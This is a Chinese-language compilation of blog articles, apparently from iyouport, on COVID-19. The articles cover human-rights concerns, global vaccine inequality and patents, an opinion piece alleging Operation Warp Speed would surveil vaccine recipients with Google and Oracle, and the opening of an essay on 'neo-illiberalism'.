武汉居民方斌在发布一段视频以示冠状病毒受害者的尸体后被当局带走。

Nicholas Bequelin 说：“尽管驳斥有关该病毒的虚假陈述至关重要，但是，封锁有关该病毒的合法新闻和社交媒体内容却无济于事（只会起到相反作用）。”

5、其他国家也在做同样的事 —— 试图打击所谓的 “假新闻”

「图」

由于该病毒已从中国传播到东南亚的邻国，各个国家寻求控制报道范围的审查趋势也在增加。

在马来西亚、泰国和越南的人们也因发布有关疫情的所谓 “假新闻” 而被捕或被罚款。

“政府必须防止虚假信息，并提供及时、准确的健康指导。但是，对言论自由的任何限制都必须是合理的、合法和必要的。” Nicholas Bequelin 说。

“如果东南亚和其他地方的政府可以从中国处理冠状病毒危机的错误中吸取教训，那就是：限制信息和以所谓的 ‘稳定’ 为名义结束辩论只会带来严重的风险，并且可能会适得其反。”

6、歧视和仇外心理

「图」

据媒体报道，来自武汉的人 —— 甚至是那些没有症状的人 —— 也被酒店拒绝，被封锁在自己的公寓里，其个人信息在中国在线泄漏。

在其他国家也有反亚裔仇外心理的广泛报道。韩国、日本和越南的一些餐馆拒绝接受中国客人，而一群抗议者警告中国客人必须离开印度尼西亚的一家旅馆。法国和澳大利亚的报纸在报道危机时也被指控种族主义。

世界各地的亚洲社区都纷纷退缩，而 Twitter 标签 #JeNeSuisPasUnVirus（我不是病毒）在法国风靡一时。

“世界各国政府应采取态度制止针对中国和亚洲血统的人的种族主义。世界抗击这场疫情暴发的唯一方法是跨界团结与合作”，Nicholas Bequelin 说。

7、边境管制和隔离必须合理和适当

「图」

为了应对这种病毒，许多国家对来自中国或其他亚洲国家的人关闭了大门，而其他国家则采取了严格的隔离措施。

澳大利亚政府已将数百名澳大利亚人送往圣诞岛的一个移民拘留中心，澳大利亚医学协会此前将该地的治疗条件描述为 “不人道的”，因为难民被拘留在那里会造成精神和身体上的双重痛苦。

巴布亚新几内亚对所有其他亚洲国家的人关闭了边界，不仅限于确诊感染冠状病毒的人。在巴布亚新几内亚当局的指示下，一些当地学生被禁止登机回家，从而使他们滞留在菲律宾。

限制迁徙自由权的隔离，只有在合理的、有时间限制的、为合法目的而采取的、严格必要的前提下，尽可能以自愿且以非歧视性的方式，才可根据国际法辩解。隔离必须以安全和尊重的方式进行。

被隔离的人们的权利必须得到尊重和保护，包括确保获得医疗保健、食物和其他必需品。

“政府面临严峻的形势，必须采取措施，既防止冠状病毒传播，又要确保受影响的人们能够获得所需的医疗保健协助，” Nicholas Bequelin 说。

我们前两天在 telegram 频道上传了一本书如上图介绍，您可以在这里下载：https://t.me/iyouport/6920

如大赦国际所述，侵犯人权的手段只会阻碍疫情的解决，这是所有人的损失，当权者也不会例外。〇

Seven ways the coronavirus affects human rights

原文

当疫苗遇到不平等的人类世界 …… - iyouport

COVID-19(84)知识产权

【2021年4月8日存档】冠状病毒的灾难是全球人类共同承担的，但是，药物和疫苗资源人类却无法共享。问题是什么？还有什么能比生命更重要？

【按】3年前我们发布了一篇文章，来自摩洛哥医疗权利活动家 Othoman Mellouk，他也是国际治疗准备联盟（ITPC）的知识产权和获取药物主管，在这里看到《所谓的“知识产权”被宣传成了一种神话，但事实完全不是如此》。他指出，认为加强知识产权促进创新是一个很大的错误。事实上完全相反。它只能使得国家依靠别人的创新。

他说，这不是简单的道德问题或意识形态问题，它是善与恶。

知识产权这个概念导致的问题是最近多年来各领域辩论的重点，也是为什么我们会有一个 “知识产权” 主题的板块；冠状病毒疫情再次提醒人们注意这个悬而未决的议题所导致的现实有多么痛苦。并且，它已经超越了知识产权本身。

没有有效的疫苗和药物就会有更多的人类死亡，不论他们生活在哪里，他们是和我们一样的人类，他们本应该享有和我们一样的人权。2020年12月20日，密西西比州 Olive Branch 的McKesson配送中心，装有 Moderna 公司生产的 COVID-19 疫苗的包装盒准备发货

辉瑞公司 CEO Albert Bourla 对 “近44000名无私举手参与我们的药物试验的人” 大加赞赏。

“你们每一个人都在帮助让世界离我们的共同目标更近了一步，帮助实现一种潜在的疫苗来对抗这种毁灭性的流行病”，Bourla 在一封致参加辉瑞公司 Covid-19 疫苗研究的志愿者的公开信中写道，该研究在阿根廷、南非、巴西、德国和土耳其以及美国进行，他的这封公开

信发表于11月9日，同一天，辉瑞公司宣布该疫苗对预防该疾病的有效性超过90%，Bourla 将这一可观的成就归功于医疗志愿者：“你们是真正的英雄， 整个世界都欠你们一份巨大的感激之情。”

但是，阿根廷、南非、巴西和土耳其将被迫无法满足于辉瑞公司的感激之情，因为（就像世界上大多数国家一样）他们不会收到足够的疫苗来为他们的人口接种，至少在短期内都不会。

同时，美国和德国 —— 以及加拿大和欧盟其他国家 —— 已经签订了足够剂量的各种 Covid-19 疫苗的合同，以便为其人口多次接种。虽然美国正在努力解决疫苗推广的后勤问题 —— 到目前为止，只有不到300万人接受了第一剂疫苗 —— 但最终应该可以获得足够的供应。

美国在去年夏天以19.5亿美元的价格预购了1亿剂辉瑞公司的疫苗（据报道，美国放弃了确保另外1亿剂疫苗的机会）。去年底，美国卫生与公众服务部宣布达成协议，将在2021年7月前再购买1亿剂疫苗，政府还可以选择再购买4亿剂。

美国还购买了2亿剂 Moderna 疫苗，该疫苗对 Covid-19 也非常有效。这些剂量将于2021年第二季度到期，政府可能会再购买最多3亿剂。而美国还与 Ology、赛诺菲、诺瓦瓦克斯和强生公司签订了额外的疫苗剂量合同，这些公司的候选疫苗正处于早期开发阶段。

制药公司和个人高管已经从他们的医学突破中获得了丰厚的利润。在发出公开信的同一天，净资产估计超过**2600**万美元的 **Albert Bourla** 卖出了价值**500**多万美元的辉瑞股票。

根据摩根士丹利的数据，辉瑞在2020年已经从疫苗中获得了约9.75亿美元的收入，预计2021年还将从疫苗中获得190亿美元的收入。辉瑞在该疫苗上的利润率估计在**60%**至**80%**之间。Moderna 预计明年将从其疫苗中获得超过100亿美元的收入。2020年12月8日，德国汉堡的疫苗接种中心

据估计，Covid-19 疫苗将带来1000亿美元的销售额，这显然是吸引制药公司进行疫苗研究的部分原因。对于该研究的参与者来说，计算方式则完全不同 —— 在发展中国家，“你会发现那些没有医疗保障、又急需医疗救助的人，会抓住医学研究这根稻草”，医学伦理学家和作者 Harriet Washington 说。

她说，这种绝望只是制药公司在不太富裕的国家进行大部分研究的部分原因 —— 相对缺乏监督和较低的运营成本是该行业被吸引到这些

地方的额外原因。南非、阿根廷、巴西和土耳其的 **Covid-19** 疫苗研究参与者“将比美国和德国的人用起来更便宜”，她说。

这造成的伦理问题 —— 发展中国家的人们尽管肩负着不成比例的风险，但获得医疗突破的机会却很少 —— 远远早于冠状病毒大流行本身。“每一种流行病都会重复出现这种固有的不公平”，Washington 说，“这是一个持续的一致的模式；只要你想看，你就会看到。”

无论是否参与药物研究，中低收入国家的人们往往缺乏获得拯救生命的医学突破的机会，而这些‘突破”的价格有时让他们望尘莫及。

Gilead 公司拥有丙型肝炎药物索磷布韦的专利权，它提供了一个清晰而悲惨的例子，说明了这种动态是多么致命。

截至2019年6月，巴西需要该公司救命药物的人中只有大约七分之一得到了这种药物。根据非营利组织 Make Medicines Affordable 的数据，仅在那个国家，就有数千人死于这种完全可治疗的疾病。

虽然许多药物最终可以获得，但是，发展中国家的人们往往会延迟获得，就像拯救生命的艾滋病药物那样，全世界大约1500万感染者仍然无法获得这些药物，并且在较富裕的国家使用了这些药物十多年后才能到达一些较贫穷的国家。

“我们看到世界上几乎所有的干预措施都会出现滞后，无论是新药还是医疗设备”，杜克大学全球健康创新中心主任 Krishna Udayakumar 博士说，“在中低收入国家，产品进入市场的资金没有那么多”，因此，在世界大部分地区，获得拯救生命的发展往往取决于捐助者的资金，“这总是比你想要的少”。

延迟获得 Covid-19 疫苗的致命后果将在今年展现出来。2021年全球接种疫苗的人数将部分取决于其他潜在候选疫苗是否成功，以及它们是以一剂还是两剂的形式交付的。但已经很明显的是，大多数国家的疫苗数量都不够，而富裕国家则在囤积疫苗供应。

一项被称为“COVAX 预先市场承诺”的国际倡议，由公私卫生联盟 Gavi 管 理，旨在为参与国提供足够的疫苗，以便在2021年底前为其20%的人口接种。但即使在最好的情况下，这一目标也会使绝大多数人口无法接种疫苗 —— 正如该组织网站所明确指出的那样，这一目标“取决于可用资金情况”。2020年10月27日，一名医护人员在土耳其安卡拉的志愿者身上注射3期实验性疫苗

一些国际卫生活动家已经对 Gavi 感到失望。“在第一天，当第一个人在英国接种疫苗时，我们应该在发展中国家看到同等的疫苗”，无国界医生组织的高级疫苗政策顾问 Kate Elder 说，“但我们没有看到。而且我们也无法准确知道什么时候能在发展中国家看到这些剂量的疫苗。”

Elder 指出，尽管其宣称的目标是提供平等的机会，但是，国际疫苗分配工作受到全球权力和财富不平衡的阻碍。**“Gavi** 永远不会为这种疫苗的民族主义发出呼吁，因为它的那些最大的捐助者 —— 比如英国政府 —— 是其董事会中最强大的成员”。

世界银行正在为供应疫苗提供额外的援助，但这是以贷款的形式提供的，穷国需要偿还。由于延误，低收入国家的许多人可能要到2023年或2024年才能获得疫苗，这将导致不知道还有多少人会死亡。

“我们正面临着一个全球性的疫苗种族隔离”，Public Citizen 组织的法律和政策研究员 Zain Rizvi 说，他预测，疫苗获取的延迟将被证明是“灾难性的”。*Who supports and who opposes an IP waiver so generic COVID vaccines can be mass-produced? Via @isgoodrum*

Public Citizen 组织提出了美国可以扩大疫苗使用范围的几种方法，包括建设新的生产设施，并利用一项复杂的法规，允许政府推翻公司对其资助的发明专利。

与此同时，肯尼亚、印度和南非在世界贸易组织提出了一项措施，要求放弃冠状病毒相关产品的部分知识产权，包括疫苗。该提案得到了99个国家的支持，但是，在遭到美国、欧盟成员国、日本、英国和澳大利亚等富裕国家的反对后，该提案仍未被通过。《*COVID Vaccines: The Most Lethal Example of Israel’s Disregard for Palestinian Lives*》

但放弃专利只是确保全球获得疫苗的第一步。

“从短期来看，技术是比专利权更大的问题”，非营利性倡导组织“知识生态国际”的负责人 James Love 说。Love 指出，联邦资助的疫苗制造商 Moderna 已经承诺不执行其疫苗的专利，“但你还是不能去制造他们的疫苗，除非你知道他们是怎么做的”，Love说。“你需要强迫那些有诀窍的人分享诀窍，因为这是一个他妈的全球性疫情。”

虽然美国政府及其资助制造疫苗的公司已经获得了结束流行病的功劳，但 Love 指出了这个成功故事中的一个巨大的漏洞：纳税人最终要为限制全球访问的交易买单。

“有些人会说这是一个巨大的成功，因为创新故事非常好听”，Love 说，“但是，现实是政府拿了我们的钱，把钱给了那些公司，并写下了可怕的合同，所以我们这些公民最终对我们资助的发明的权利非常少。”

Love 认为，这个问题本来是完全可以避免的。“政府本可以在每份合同中加入强制分享技术诀窍的内容，这样一旦这些疫苗进入临床试验，技术转让就会开始”，他说。“但这并没有发生。后果之一就是，我们让发展中国家迟迟无法获得疫苗。”

特朗普政府对制药业特别慷慨，取消了他们某些合同中的标准保护，并回避了国际上集中资源抗击流行病的努力。但现在国家扭转方向还不算太晚。

“当选总统拜登有能力改变这种情况”，Public Citizen 的 Rizvi 说，“他也许可以想得更远，分享疫苗配方，并帮助提高生产和制造能力，进一步迅速扩大疫苗供应。”

Washington 称，在可能多年没有自己供应的国家进行 Covid-19 疫苗研究所引发的伦理困境也是可以解决的：“不公平的问题很容易解决，你只需以对待自己国家人的方式对待发展中国家的人就可以了。”○

WORLD FACES COVID-19 “VACCINE APARTHEID”

原文

新棱镜和秘密合同 - iyouport

COVID-19(84)

【2020年10月23日存档】接种疫苗的人要接受长达两年的密切监视 .....在中国会出现什么状况？这一监视工程是完全 “合理合法” 的大规模监视，其数据收获将具有前所未有的庞大性和侵入性 “价值” —— 对寡头和政府来说。中国会错过这样的 “机会” 吗？

曲速行动 (Operation Warp Speed) 的官方发言人告诉华尔街日报，美国所有疫苗的接种者都将受到 “难以置信的精确系统性追踪” 长达两年，科技巨头谷歌和甲骨文也将参与其中。

特朗普政府的 “疫苗沙皇” 接受了一次罕见的媒体采访，让人们得以一窥这个极其隐秘的 “曲速行动”（OWS）的内部运作，该行动是特朗普政府为在明年1月前向3亿美国人提供 Covid-19 疫苗而实施的 “公私合作”。这次采访所披露的内容应该让所有人深感不安。

在上周五发表的华尔街日报的采访中，“曲速行动” 的 “队长” Moncef Slaoui 证实，将通过 “令人难以置信的精确度 … 跟踪系统”，“确保患者每人接种两剂相同的疫苗，并监测他们的健康不良反应”。Slaoui 还指出，科技巨头谷歌和甲骨文已经签约成为这个 “追踪系统” 的一部分，但除了声称帮助 “收集和追踪疫苗数据” 之外，并没有说明这种密切监视的具体作用。

在华尔街日报采访发表的前一天，纽约时报也发表了对 Slaoui 的单独采访，他在采访中把这个 “追踪系统” 称为 “非常活跃的药物警戒监视系统”。

在9月初接受《科学》杂志采访时，Slaoui 只把这个系统称为 “一个非常活跃的药物警戒系统”，称将 “确保当疫苗问世时，我们绝对会继续评估其安全性”。**Slaoui** 最近在接受媒体采访时，才在他对这一系统的描述中加上了 “追踪” 和 “监视” 的字眼，比较罕见。

虽然 Slaoui 本人对这一 “药物警戒监视系统” 的具体细节表述不多，

但公开发布的几份“曲速行动”的官方文件提供了一些细节，说明了这一系统可能是什么样的，以及预计将在多长时间内“追踪”监视接受曲速疫苗的美国人的生命体征和所有行踪。

药物警戒

「图」

9月中旬发布的两份OWS官方文件称，疫苗接受者 —— 预计包括大多数美国人口 —— 将在注射第一剂 **Covid-19** 疫苗后的二十四个月内持续被监视，这将由“药物警戒系统”来完成。

在题为“从工厂到前线”的OWS文件中，卫生与公众服务部（HHS）和国防部（DOD）表示，由于“曲速”疫苗使用了新的未经许可的疫苗生产方法，“以前关于人体安全性的数据有限”，“这些疫苗的长期安全性将通过药物警戒监视和第四阶段（许可后）临床试验进行仔细评估”。

它写道：

药物警戒的主要目的是确定每一种疫苗在实际生活场景中的表现，研究疗效，发现临床试验中没有发现的罕见副作用。*OWS*还将使用药物警戒分析，作为持续监测药物警戒数据的手段之一。将使用强大的分析工具来利用大量数据以及在整个价值链中使用这些数据的好处，包括监管义务。

Moncef Slaoui 和 OWS 的疫苗协调员 Matt Hepburn 曾在五角大楼备受争议的国防高级研究计划局(DARPA)担任项目经理，他此前在《新英格兰医学杂志》上发表文章称，“由于一些技术之前在人体安全性方面的数据有限，因此将使用药物警戒监视策略仔细评估这些疫苗的长期安全性。”

- 关于 DARPA，见《超级战士：DARPA 想要制造精神控制的战争武器》
- 以及，《不流血的政变：军事工业综合体接管选举》

在曲速官方的“信息图”中也提到了对接种疫苗的人进行药物监测的使用，该信息图称将与食品和药品管理局（FDA）及疾病控制和预防中心（CDC）合作进行监测，并将涉及“长达24个月的不良反应试验后监测”。

在同一文件的一个单独部分，OWS将其 “四个关键原则” 之一描述为 “可追溯性”，它有三个目标：“确认无论在哪里接种了哪种经批准的疫苗”；发送 “提醒返回第二剂”；以及 “进行正确的第二剂”。

关于为什么需要多于一剂的 Covid-19 疫苗，与 “曲速” 操作相关的 CDC文件指出：

对于大多数 *Covid-19* 疫苗产品，需要接种两剂疫苗，间隔*21*天或*28*天。由于不同的 *Covid-19* 疫苗产品不能互换，受种者的第二剂疫苗必须与第一剂疫苗来自同一厂家。对受种者的第二剂提醒对于确保遵守疫苗接种间隔和实现最佳疫苗效果至关重要。

疾控中心的文件还参考了约翰·霍普金斯大学健康安全中心8月发表的一份与 “Event 201” 和 “暗冬行动 Dark Winter” 演习相关的文件，作为其 Covid-19 疫苗接种策略的参考。

- 关于 **“Event 201”** 和 **“暗冬行动 Dark Winter”** 是什么，见《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

约翰·霍普金斯大学的文件将 “暗冬行动” 的共同组织者 **Thomas Inglesby** 列为其作者之一，该文件认为，由CDC和FDA管理的现有 “被动报告” 系统应该重新调整，以创建 “由CDC指导的主动安全监测系统，监测所有[Covid-19]疫苗接受者 —— 也许是通过短信服务或其他电子机制。”

尽管这些文件中声称 “药物警戒监视系统” 将密切涉及FDA，但 FDA 高层官员在9月表示，他们被禁止参加**OWS**会议，并告诉记者，他们无法解释该行动的组织结构，也无法解释其领导层何时或以何种频率开会。然而，FDA官员确实表示，他们 “仍被允许与为OWS开发产品的公司进行互动”，STAT新闻报道。

此外，FDA 显然 “在绝大多数工作人员和[曲速行动]之间设置了一道防火墙”，似乎大大限制了FDA了解或参与曲速行动的官员人数。

FDA 的药物评估和研究中心主任 Janet Woodcock 是唯一被列为直接参与 “曲速行动” 的FDA官员，而且似乎是亲自管理FDA的这道 “防火墙”。

Woodcock 称自己是长期倡导使用 “大数据” 评估药物和疫苗安全性的人，并密切参与了FDA即将推出名为 Sentinel 和 PRISM 的曲速 “药

物警戒监测系统”，本报告后面将讨论这两个系统。

Woodcock 目前正在暂时休假，不再担任药物评估和研究中心主任，这使她可以代表FDA专员办公室将全部精力集中在监督“曲速行动”的各个方面。据媒体报道，她在FDA的临时替代者 Patrizia Cavazzoni “与 Janet 和该机构的发展方向非常一致”。**Cavazzoni** 是辉瑞公司的前高管，辉瑞公司是为**OWS**生产疫苗的公司之一。该疫苗将开始在年仅**12**岁的儿童身中进行测试。

极度保密的“曲速行动”不仅影响到了FDA，也影响到了疾控中心，一个通常参与制定政府疫苗分发策略的疾控中心专家小组被OWS的疫苗协调员 Matt Hepburn “搪塞”，他直言不讳地拒绝回答专家小组关于这一高度保密行动的多个尖锐问题。

更多秘密合同

「图」

虽然 Moncef Slaoui 和曲速的文件几乎没有提供关于这个“追踪系统”的细节，但 Slaoui 在最近接受《华尔街日报》采访时确实指出，科技巨头谷歌和甲骨文已经签订了“收集和追踪疫苗数据”的合同，作为这个系统的一部分。

不过，谷歌和甲骨文都没有宣布收到与“曲速行动”相关合同的事，而国防部和国土安全部，同样也没有宣布将任何“曲速”合同授予谷歌或甲骨文。此外，在美国政府的《联邦公报》和官方网站上搜索联邦授予的合同，也是一无所获。

鉴于之前关于利用非政府中介机构将OWS合同授予疫苗公司的报道，看来授予谷歌和甲骨文的“曲速”合同很可能是利用类似的机制签订的。

2020年10月6日为 Last American Vagabond 撰写的报告中指出，授予疫苗公司的**60**亿美元“曲速”合同是通过先进技术国际公司（**ATI**）签订的，该公司是一家政府承包商，主要与军事和监控技术公司合作，其母公司与中央情报局和**2001**年的“暗冬行动”演习有密切关系。

据称负责监督“曲速行动”的美国国土安全部（HHS）声称，至少有一份合同“没有记录”。最近KEI在线获得的只有一份“曲速”疫苗合同，该合同不涉及ATI，由HHS的生物医学高级研究和发展局直接授

予。不过，合同的主要部分，包括知识产权部分，被全文删改。

如果授予谷歌和甲骨文公司的 “曲速” 合同与授予其大多数参与的疫苗公司的 合同有任何相似之处，那就是，这些合同给予这些公司的监督更少了，并帮其绕避了旨在保护纳税人利益的联邦法律和法规，以完成合同规定的工作。

这也使得它们基本上不受信息自由法（FOIA）要求的影响 —— 公民监督无法获取内部信息。然而，与没有披露的谷歌和甲骨文合同相比，疫苗公司已经公开披露他们收到了OWS合同，只是没有披露这些合同的条款和细节。这表明，谷歌和甲骨文的合同更加隐秘。

一个值得注意的重大利益冲突是谷歌对 YouTube 的所有权，谷歌最近在其庞大的多媒体平台上禁止了所有与未来 Covid-19 疫苗有关的所谓 “错误信息”。随着谷歌现在正式成为 “曲速行动” 的一部分，似乎任何对OWS的极度保密和其许多成员（尤其是 Moncef Slaoui 和 Matt Hepburn）的利益冲突的担忧，以及任何对曲速疫苗安全、分配和/或分发的担忧，都有可能被贴上 “Covid-19疫苗错误信息” 的标签从而从 YouTube 上删除。

从NSA到FDA：新棱镜

「图」

虽然这个即将到来的针对Covid-19疫苗接受者的监控系统的性质还没有被 Warp Speed 或该行动所签约的技术公司完全详细说明，但OWS的文件和FDA现有的基础设施提供了一个线索，说明这个系统可能会带来什么。

例如，Warp Speed 文件 “从工厂到前线” 指出，药物警戒系统将是专门为OWS建立的新系统，将 “在现有IT基础设施的基础上建立”，并将 “用新的IT解决方案填补任何空白”。

它随后指出，”Covid-19 疫苗接种计划需要显著增强信息技术，以支持增强功能和数据交换，这对多剂量候选疫苗至关重要，以确保对潜在的第二剂量进行适当管理。”

该文件还指出，与OWS疫苗分发工作有关的所有数据 “将被报告到一个共同的IT基础设施中，以支持分析和报告”，并补充说，这个 **“IT**基础设施将为合作伙伴提供广泛的工具支持，以保存记录、关于谁在接种疫苗的数据以及第二次剂量的提醒。”

虽然一些“曲速行动”的文件暗示，现有的IT系统将作为这个新的追踪监视系统的基础，但可以说，最有可能的候选者是**FDA**管理的“哨兵计划”，该计划是在**2009**年**H1N1**猪流感大流行期间建立的。与“曲速行动”本身一样，“哨兵计划”也是一个公私合作项目，涉及**FDA**、私营企业和学术界。

据其网站介绍，Sentinel 的“主要目标是通过大数据改善FDA对医疗产品的安全性和性能的评估方式”，另外的重点是“了解更多潜在的副作用”。

媒体报道将 Sentinel 描述为“一个电子监控系统，该系统从自愿参与的电子医疗记录和登记处汇总数据，并允许该机构跟踪已上市的药物、生物制品和医疗设备的安全性。”

在 FDA，Sentinel 的主要支持者之一是 Janet Woodcock，她作为FDA药物评估和研究中心的主任，积极努力地扩大该项目，声称其重点是 Sentinel 在“上市后有效性研究”中的使用。如前所述，**Woodcock** 是**OWS**九十多名“领导人”中唯一被列为**FDA**官员的人，他们中的大多数人都是美国军队的一部分，缺乏任何医疗保健或疫苗生产经验。

Woodcock 在FDA的临时替代者 Patrizia Cavazzoni 也非常积极地努力扩大 Sentinel。STAT新闻在今年早些时候报道称，Cavazzoni 此前“曾在 I-MEDS 的指导委员会任职，**I-MEDS** 是**FDA**与工业界的合作关系，允许药物制造商付费使用**FDA**的真实世界数据系统，即**Sentinel**，以更快地完成某些研究。”

Sentinel 拥有一系列“协作伙伴”，他们为该计划“提供医疗数据和科学、技术和组织方面的专业知识”。

这些协作伙伴包括情报承包商博思艾伦汉密尔顿公司（**Booz Allen Hamilton**）、科技巨头**IBM**，以及 **Aetna** 和 **Blue Cross Blue Shield** 等美国大型医疗保险公司等。

此外，Sentinel 的创新中心（Sentinel 称该项目是“识别、开发和评估创新方法的试验台”）与亚马逊、通用动力和微软合作。Sentinel 还有一个社区建设和外联中心，由德勤咨询公司管理，德勤咨询公司是世界上最大的咨询公司之一，以寻求前中情局官员填补其队伍而闻名。

这个所谓的“哨兵”监视系统被称为“后许可快速免疫安全监测计

划”，超过著名的“棱镜”PRISM。

Sentinel 的棱镜是“为监测疫苗安全性而开发的，但[迄今为止]从未用于评估疫苗的有效性”。PRISM最初是在2009年与 Sentinel 计划本身一起启动的，声称“应对H1N1流感疫苗获得许可、上市和施用后监测其安全性的需要”。然而，如前所述，PRISM 在悄然扩张近十年的同时，尚未被用于评估任何疫苗的有效性，这意味着“哨兵计划”中的利益相关者在某个时间点有实施这一“安全监测系统”的计划。

PRISM 这个名字可能会让读者联想到在斯诺登曝光后广为人知的国家安全局（NSA）同名大规模建设项目。鉴于这种联想，值得注意的是，**NSA**以及国土安全部**(DHS)**现在已经正式成为“曲速行动“的一部分，并且似乎在“曲速行动”的“药物警戒监视系统”的开发中发挥了作用。

当然，国安局和国土安全部的加入，大大增加了情报机构在该行动中的参与度，而该行动本身就由军方“主导”，极度缺乏文职公共卫生官员。

CyberScoop 在9月初首次报道称，NSA网络安全局的成员参与了“曲速行动”，他们的角色 —— 以及国土安全部的角色 —— 主要是为该行动提供“网络安全建议”。然而，国家安全局和国土安全部也在向参与“曲速行动”的其他联邦机构以及**OWS**承包商提供“指导”和“服务”，这些承包商现在包括谷歌和甲骨文。

谷歌与美国国家安全局的亲密关系是众所周知的，包括它的棱镜PRISM项目，他们还支持国家安全局支持的立法，使其更容易在没有搜查令的情况下监视美国人。

同样，甲骨文也是**NSA**的长期承包商，而且与中情局的关系也可以追溯到其公司早期。值得注意的是，甲骨文和谷歌仍然是主要竞争对手，两家公司陷入了一场关于版权问题的重大法律战，最高法院将在未来几周内进行审理，预计将对科技行业产生重大影响。

- 关于这点《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

公共卫生圆形监狱

「图」

在“9–11”袭击事件后，美国军方试图建立一个极具侵犯性的大规模监视计划，国会在该计划建立几个月后就为其提供了资金。该计划被称为“全面信息意识”（Total Information Awareness，简称TIA），旨在开发一个由五角大楼的 DARPA 管理的全能监控设备，并正式提出：有必要对整个社会的所有人进行侵入性监控。

在被解散之前，**TIA**一直在试图收集美国人的医疗记录；指纹、步态、面部、虹膜生物识别数据；药物处方；甚至**DNA**，此外还收集公民的财务、旅行和媒体消费习惯。

TIA与“曲速行动”不同，是由国防部管理的“公私合营”，与国家安全局、中央情报局和其他情报机构以及私营部门和学术界合作。

和“曲速”一样的是，TIA官方也为其侵入性监控目标进行了狡辩，声称其举措为确保公民的“安全、保障和健康”。今天，“曲速”正式瞄准了一种新型的“看不见的敌人”—— 病毒。

911后的几年里，公众对TIA的反击非常激烈。美国公民自由联盟 (ACLU) 当时表示，监控将“扼杀美国人的隐私人权”，“我们生活的方方面面都将被编入了目录”，主流媒体则警告说，TIA是“通过恐吓美国公民来打击恐怖活动”。尽管国会正式取消了对该项目的资助，但后来发现，**TIA**实际上从未被关闭过，其各种项目已经被暗中分给了庞大的军事和情报机构网。

与过去几年不同的是，TIA的明显继任者“曲速行动”并没有受到主流媒体或倡导组织的反击，其中许多实体现在盲目相信这一秘密举措，并将其作为解决 Covid-19 大流行危机的“唯一途径”。

国安部门从过去的失败中认真吸取教训并加以研究，而与此相反，许多公民却继续信任那些将国家骗入多场战争、在国外折磨和残害无数平民、为了掠夺资源而制造一系列失败的政府，目前还在“救济”的幌子下为华尔街和美联储掠夺经济提供便利的机构和政府实体。

允许这些实体监视和跟踪大多数公民，并使用老百姓作为小白鼠，未经许可的、研究不足的、实验性的疫苗技术是一个明显的灾难配方。同时，这也将使监视泛滥成灾，其影响如此荒诞和深远，以至于人们不仅会失去他们仅存的公民自由，甚至会失去对自己身体的主权。

从**TIA**开始并通过“曲速”复活的全面监视议程比 **Covid-19** 早了几十年。它的设计者和支持者一直在努力为这些极端和侵入性的监视计划辩护，将这一议程作为所谓的“解决方案”，以解决老百姓在任何时候

最害怕的问题。它与“公共健康”没什么关系，它的目的是全面控制。〇

Google & Oracle To Monitor Americans Who Get Warp Speed’s Covid-19 Vaccine For Up To Two Years

原文

新自由主义结束了 - 欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人…… - iYouPort

COVID-19(84)

这场病毒危机不仅是生物危机，而且是深深的政治危机

「图」

「图」

- 高科技、民族主义政治和亿万富翁阶层推动了新型的政治经济。它将产生什么样的影响？

由于冠状病毒及其政治战斗人员将全世界当成了人质，因此有必要仔细审查大流行发生的（地缘）政治和经济背景。

许多分析都将新自由主义视为罪魁祸首，从而导致了诸如医疗保健之类的公共服务的拆除和市场化，我们现在为此付出了代价。

该病毒基于西方公司和中国工厂的全球生产网络，证实了新自由主义资本主义的破产，使病毒传播到全球 ……新自由主义再次陷入困境，也许是绝症。

话虽如此，新自由主义之死其实在疫情之前就已经宣布过一次了，尤其是在2007–08年金融危机之后。然而，新自由主义很快就比以往更加强大。此外，新自由主义在过去几年中发生了重大变化，不仅是为了更好地适应全球资本主义不断变化的逻辑。

冠状病毒提供了一个使世界变得更好的机会，尤其是通过取消数十年来的新自由主义，使医疗保健和教育领域的重要职业获得应有的赞赏。

不幸的是，正如 Naomi Klein 在“ The Shock Doctrine ” 中所详述的那样，危机也为既定秩序提供了充足的机会，以实现在正常情况下难

以想象的雄心壮志。

疫情爆发前的全球政治经济是由全球亿万富翁阶层、寡头技术平台和*不*自由的民族主义政治的崛起所定义的，它们共同推动了新的（地域）政治经济重组浪潮，我称之为“新” -不自由主义。那么冠状病毒对这种新现状有何影响？

“新常态”

除了2008年的金融危机外，英国脱欧和特朗普当选也经常被描述为新自由主义现状的破裂。但是与2008年之后一样，2016年的余波也带来了更多的变化：对公司和富人实行更多的减税措施，对环境和金融实行更多的管制，对公共服务的更多削减，即更多的新自由主义签名政策。也就是说，兜售相同的新自由主义政策的政治已经发生了很大变化。

在中间派不同程度地执行了先前的新自由主义浪潮时，中右翼致力于进步政治，以换取中左翼对经济新自由主义的支持，自2016年以来，中右翼之间出现了新的同盟，后者的主流由于美国共和党和英国保守党等中右翼党派稳步激进，从而放弃了他们过去对 Tariq Ali 所谓的“极端中心 ”的承诺。

尽管中右翼政党共同创造了新自由主义世界秩序，但自那以后，他们就重塑了自己成为民族主义挑战者，以应对 “全球主义” 现状，他们习惯性地将其称作为左派。

在先前的新自由主义浪潮导致对经济政策制定的民主控制的限制后，由特朗普和他的模仿者领导的当前的民族主义浪潮是由政治上的*非*自由化的努力来定义的，肆意寻求取消自由民主制衡的体制设置，立法和司法部门受到了渴望权力的行政人员的约束。

从学术界和媒体到非政府组织，更广泛的社会反抗力量也受到了攻击，以及对一系列宪法权利和/或基本权利的攻击，限制了自由行使绝对权力。

尽管这种发展预示着 进步的新自由主义的终结 ，但政治上的*不*自由化最终仍然维护 着 全球资本主义 的笼罩地位，这是新自由主义计划的核心目标。

新*不*自由主义的兴起可以与一种病毒相提并论，西方自由民主政体越来越类似于其他地方的不自由政体和（竞争性的）威权政体 。

在匈牙利和波兰的*不*自由主义政权正在感染整个新自由主义欧盟，尤其是由于欧洲人民党（EPP）提供的中右政治掩护，新*不*自由主义从根本上构成了全球现象。

例如，巴西和印度最近在不拒绝新自由主义经济学的情况下接受了政治不自由化，而中国和俄罗斯的不自由化同样收紧了他们的独裁统治。

除其他外，团结这些政权和其他政权的是分裂民族主义的动员，各种各样的政治 “强人” 操纵国家宪法适应其意愿，通常会推翻多元化的政治空间，同时掩盖国民经济与全球资本主义之间各自的新自由主义界面。

「图」

「图」

全球资本主义

为了掌握新不自由主义的兴起，我们需要追溯到千年之交，在这一时期，推动新*不*自由主义综合发展的各种事态势均力敌。

